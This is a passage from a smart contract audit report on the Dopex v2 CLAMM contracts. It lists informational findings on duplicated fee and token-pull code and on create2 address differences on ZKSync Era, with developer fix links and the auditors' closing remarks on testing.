6. Informational - Code repetition in `burnPositionHandler()` and `reserveLiquidity()`

Technical Details

The functions `burnPositionHandler()` and `reserveLiquidity()` both execute the same code to calculate the fees owned to the user depending on his share of the liquidity. This piece of code could be wrapped into a reusable function to reduce code size and make the code more readable.

Impact

Informational.

Recommendation

Wrap the lines 539-574 and lines 432-476 into a reusable function.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/320e932e57c0497b2d5fd6c059e4dec32d22826f & https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/e73f5e8a8a9f01271f853937c89e86ff9ed062a8.

7. Informational - Code repetition in `tokensToPullForMint()`, `tokensToPullForUnUse()`, and `tokensToPullForDonate()`

Technical Details

The functions `tokensToPullForMint()`, `tokensToPullForUnUse()` and `tokensToPullForDonate()` execute the same piece of code, the only difference is the structs passed to the functions as parameter but the slots of each variable in these structs are the same. We could wrap this reused code into a reusable internal function that could be called by each of these public functions to make the code cleaner and smaller.

Impact

Informational.

Recommendation

Wrap the reused code into an internal function like `_tokensToPull()` that can be called by each of these public functions or just make it one public function.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/cac789074ef540ea5e6c6a113c819433282b6c04.

8. Informational - `uniswapV3MintCallback()` will not work on some layer 2s like ZKSync Era

Technical Details

The `uniswapV3MintCallback()` function in the liquidity manager verifies that the caller is a legit Uniswapv3 pool by calling `verifyCallback()`. To do this, it tries to recompute the `create2` address of the pool.

Some layer 2s like ZKSync Era compute the `create2` address differently than Ethereum mainnet. This will result in a different address and thus pools not being able to make a callback into the liquidity manager when adding liquidity.

Impact

Informational.

Recommendation

If the Dopex team is planning on deploying on other layer 2s, make sure that these kinds of computations are working the same way as Ethereum mainnet, if not, adapt the code accordingly, in the current case, calling the `getPool()` function from the factory would fix the issue.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/9bf8d81f771d9dabb26d7e3b947d2b7d3535e7f7.

Final remarks

In general, the effects that the new code has on the protocol were well thought through during their implementation. However, how the new features interacted with one another was not as well thought through. Also, while there are some new tests added since the last audit, the tests are not exhaustive. Some do not contain assertions. Considering the complexity of options markets and AMMs, the auditors recommend additional testing including fuzzing and invariant testing.

Besides that, the protocol is applauded for moving to simpler dependencies when possible.